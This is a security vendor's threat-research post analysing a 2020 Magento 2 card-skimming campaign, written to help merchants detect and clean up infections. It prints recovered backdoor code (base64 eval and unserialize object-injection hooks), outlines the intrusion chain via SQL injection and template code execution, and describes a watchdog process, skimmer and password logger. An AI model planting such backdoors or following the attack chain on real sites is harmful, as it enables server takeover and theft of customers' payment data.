Sansec logo

Hackers exploit security flaw right before Black Friday


by Sansec Forensics Team

Published in Threat Research − December 02, 2020

Over the last months, hackers have quietly added a subtle security flaw to over 50 large online stores, only to exploit them right before Black Friday, Sansec research shows. The flaw's presence would ensure future access for the attackers, even if their primary operation was blown. Sansec has been tracking this developing campaign since April this year, and found numerous stealthy tactics to dodge detection.

Persistent parasite stays dormant in Magento 2 until Black Friday

Persistent parasite stays dormant in Magento 2 until Black Friday

The affected stores were all running the older Magento 2.2, which is unsupported since December 2019.

In addition to the injected flaw, attackers used a hybrid skimming architecture, with front and back end malware working in tandem. The added obfuscation & safeguarding measures make this the most complex skimming operation Sansec has identified this year.

Thanks to @RicTempesta, @giacmir and @vdloo_ for additional analysis.

A persistent parasite

Ever bitten by a tick? Just removing the body will not prevent a nasty infection. As is the case with this campaign, where attackers injected multiple safeguarding mechanisms to secure their operations. The attack is extremely difficult to get rid of, and most compromised merchants will see a reinfection within days after a cleanup.

This sophisticated attack consists of 4 components:

  1. a subtle POI security flaw functioning as backdoor
  2. a backdoor watchdog in the form of a hidden system process
  3. a CORS-defeating hybrid payment (Magecart) skimmer, using frontend and backend components, with an discrete PII-retrieval feature
  4. an admin password logger with remote exfiltration

The backdoor allows the attacker to inject future, more advanced code into the site. The watchdog ensures recovery of the backdoor, should somebody remove it. And the admin password logger, well, logs passwords just in case.

We will describe each component here. Sansec has found all attacks to be hand-crafted for individual stores, so the malware on your store may vary slightly.

Are you affected? Our eComscan scanner detects all of the varieties that we have investigated so far.

Part A: The Product Compare Backdoor

Sansec found two distinct backdoors added to the Product Compare functionality of Magento 2. Both are activated by sending a specially crafted POST to /catalog/product_compare/. The first one is trivial and easily detectable. If the product key matches, it will run the given products as executable code:

// generated/code/Magento/Catalog/Controller/Product/Compare/Index/Interceptor.php
$productContents = $this->getRequest()->getParam('product_contents');
$productKey = $this->getRequest()->getParam('product_key');
if($productContents != "" &&
    $productKey == "ceedf557f7e6acb1f0025c07df235c555e2d9d808e7f6e6e64825a3d5bb2ee6d") {
        $productValues = base64_decode($productContents);
        eval ($productValues);

The second one is much more subtle, because it injects the PHP unserialize function. This feature is officially deprecated, because it allows PHP Object Injection (POI) attacks. Previously, Sansec published dozens of POI attacks in eCommerce extensions. The use of unserialize may look benign to the casual observer, while it actually hands full control to anyone knocking on its door (with a properly crafted PHP object).

Also, the irony of a PHP Object Injection injection is not lost on us.

// generated/code/Magento/Catalog/Controller/Product/Compare/Index/Interceptor.php
$productContents = $this->getRequest()->getParam('product_contents');
if($productContents != "") {
    $pluginData = new \Zend\Serializer\Adapter\PhpCode;
    $data = '"plugInfo";' . base64_decode($productContents);

NB when this backdoor is used, it will trigger a warning in your logs (more info):

Warning: Uses eval() The PhpCode adapter utilizes eval() to unserialize. This introduces both a performance and potential security issue as a new process will be executed.

The Zend\Serializer\Adapter\PhpCode adapter generates a parsable PHP code representation using var_export(). To restore, the data will be executed using eval.

A similar but slightly different backdoor was found to be injected into app/autoload.php:

$productKey = "";
if (isset($_POST['product_key']))
    $productKey = $_POST['product_key'];
if (isset($_POST['VENDOR_NEW_PATH_MAGE']) &&
    ($productKey != "PRODUCT_KEY") )  {
    $vendor_path  = $_POST['VENDOR_NEW_PATH_MAGE'] ;
    $pr_func  = "base". "64_de"."code";
    $path_data = $pr_func($vendor_path);
        eval ($path_data);

Part B: The Backdoor Watchdog

Attackers may have started one or more background processes on your server that will monitor the presence of the malware. Should the backdoor in Product Compare be removed, the original backdoor will get reinstalled. Meanwhile, the timestamps of all your files are reset, so that the odd timestamp will not cause any suspicion.

The backdoor watchdog is a compiled C process that is started from /pub/media. The process may have multiple names that mimick legitimate system processes, such as:

dnsadmin dormant
sshd [net]
php-fpm: pool www

The actual executable is deleted from /pub/media but can be inspected via /proc/<pid>/exe. The watchdog contains a hard copy of the actual backdoor (which can be inspected with strings /proc/<pid>/exe). After reinjecting the backdoor, the watchdog will run find generated/ -type f -name "*.php" -exec touch {} to reset the timestamps.

Additionally, the watchdog process listens on TCP port 9000. We haven't investigated further, but it is likely another out-of-bounds channel to receive commands by the malware owner.

Pro tip: quickly find any of these backdoor watchdogs by running:

sudo grep -l Magento.Catalog /proc/*/exe

Part C: The Magecart Payment Stealer

The skimmer is added to require.js or another static JS file on disk. It may show a fake payment form (customized for the specific shop) but in all cases, sends all of the intercepted data to /checkout. This is almost identical to a normal transaction flow, so security monitoring systems will not raise any flags.

Then on the server side, a payload handler is added to vendor/magento/module-customer/Model/Session.php. It collects the payment data and saves it to a discrete location for later retrieval (such as pub/media/tmp/design/file/default_luma_logo.jpg or pub/media/tmp/.gitignore):

The stored credit card data is not retrieved directly, but via a generic POST (in most cases to /). Here, the attacker first retrieves the stolen data (5628 bytes) and then truncates the temporary data storage. -  "POST / HTTP/1.0" 200 5628 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" -  "POST / HTTP/1.1" 200 5611 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" -  "POST / HTTP/1.0" 200 20 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36" -  "POST / HTTP/1.1" 200 25 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36"

Part D: The Admin Password Logger

While all these lines of defense look fairly impenetrable, the attackers added yet another safeguard. Should all of their access get revoked, they would still receive live copies of staff password, delivered to one of these collector URLs:

Relevant code:

Magento 2 password logger

Because the password logger is initially added to vendor/magento/module-backend/Model/Auth.php, it will automatically end up in generated/code/Magento/Backend/Model/Auth/Proxy.php every time the Magento 2 code is regenerated.

Another interesting bit is the presence of a getCredentialStorageChiper function. It would have looked like a benign function, if only the author hadn't made the mistake of writing Chiper instead of Cipher.

Luke reported one of these password loggers on Twitter last week.

Root cause analysis

All investigated targets were running Magento 2.2.3 up to 2.2.7. While it is widely used, the 2.2 branch is officially deprecated and all stores are urged to upgrade to Magento 2.3 or 2.4.

In order to gain access to these stores in the first place, the attackers exploited multiple security issues that were patched in Magento version 2.1.17, 2.2.8 and 2.3.1.

  1. Retrieve hidden admin panel URL via information disclosure issue.
  2. Intercept logged-in administrator session key via SQL injection.
  3. Log in on the admin panel and create temporary email template, which can be exploited to run uploaded PHP code.
  4. Add backdoor
  5. ....possibly a long idle period
  6. Add skimmer
  7. Periodically retrieve intercepted payment data via POST to /

An observed attack chain:

Magento 2 attack chain


Sansec observed the following IPs that either injected malware or retrieved intercepted data:


Sansec recommends all affected merchants to engage a forensic investigate and cleanup. We have provided a checklist for your convenience. Our flagship software eComscan will help your team right now with the investigation, and will also help to prevent future incidents.

Header image by Erik Karits

Read more

Scan your store now
for malware & vulnerabilities

$ curl | sh

eComscan is the most thorough security scanner for Magento, Adobe Commerce, Shopware, WooCommerce and many more.

Stay up to date with the latest eCommerce attacks

Sansec logo

experts in eCommerce security


Terms & Conditions
Privacy & Cookie Policy
Company Reg 77165187
Tax NL860920306B01